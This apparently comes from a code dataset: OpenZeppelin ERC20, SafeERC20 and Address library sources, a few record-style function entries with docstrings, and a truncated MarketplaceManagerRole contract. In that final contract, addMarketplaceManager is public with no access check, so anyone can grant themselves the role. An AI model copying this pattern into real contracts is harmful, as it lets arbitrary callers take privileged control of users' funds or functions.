(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20Upgradeable.sol";
import "./extensions/IERC20MetadataUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[45] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
|
Update withdrawal fee. newWithdrawalFee_ new withdrawal fee./
|
function updateWithdrawalFee(uint256 newWithdrawalFee_) external onlyAuth {
uint256 oldWithdrawalFee_ = _withdrawalFee;
_withdrawalFee = newWithdrawalFee_;
emit updateWithdrawalFeeLog(oldWithdrawalFee_, newWithdrawalFee_);
}
| 6,076,638 |
./full_match/5/0xD5d0d51EfB41495fE078Ab0CFbC728027F7a19f6/sources/contracts/ZaydaReserve.sol
|
Withdraws ERC721 token ids in contract to owner. _address The address of the ERC721 token contract. _ids The token ids owned by contract to send to owner.
|
function withdrawERC721(IERC721 _address, uint256[] memory _ids) external onlyOwner {
for (uint256 i = 0; i < _ids.length; i++) {
uint256 id = _ids[i];
_address.transferFrom(address(this), owner, id);
emit WithdrawnERC721(block.timestamp, id);
}
}
| 11,611,397 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.8.0;
// Import the library 'Roles'
import "./Roles.sol";
// Define a contract 'MarketplaceManagerRole' to manage this role - add, remove, check
contract MarketplaceManagerRole {
using Roles for Roles.Role;
// Define 2 events, one for Adding, and other for Removing
event MarketplaceManagerAdded(address indexed account);
event MarketplaceManagerRemoved(address indexed account);
// Define a struct 'marketplaceManagers' by inheriting from 'Roles' library, struct Role
Roles.Role private marketplaceManagers;
// In the constructor make the address that deploys this contract the 1st consumer
constructor() public{
//_addMarketplaceManager(msg.sender);
}
// Define a modifier that checks to see if msg.sender has the appropriate role
modifier onlyMarketplaceManager() {
require(marketplaceManagers.has(msg.sender), "This account has no Consumer Role");
_;
}
// Define a function 'isMarketplaceManager' to check this role
function isMarketplaceManager(address account) public view returns (bool) {
return marketplaceManagers.has(account);
}
// Define a function 'addMarketplaceManager' that adds this role
function addMarketplaceManager(address account) public {
_addMarketplaceManager(account);
}
// Define a function 'renounceMarketplaceManager' to renounce this role
function renounceMarketplaceManager() public {
_removeMarketplaceManager(msg.sender);
}
// Define an internal function '_addMarketplaceManager' to add this role, called by 'addConsumer'
function _addMarketplaceManager(address account) internal {
marketplaceManagers.add(account);
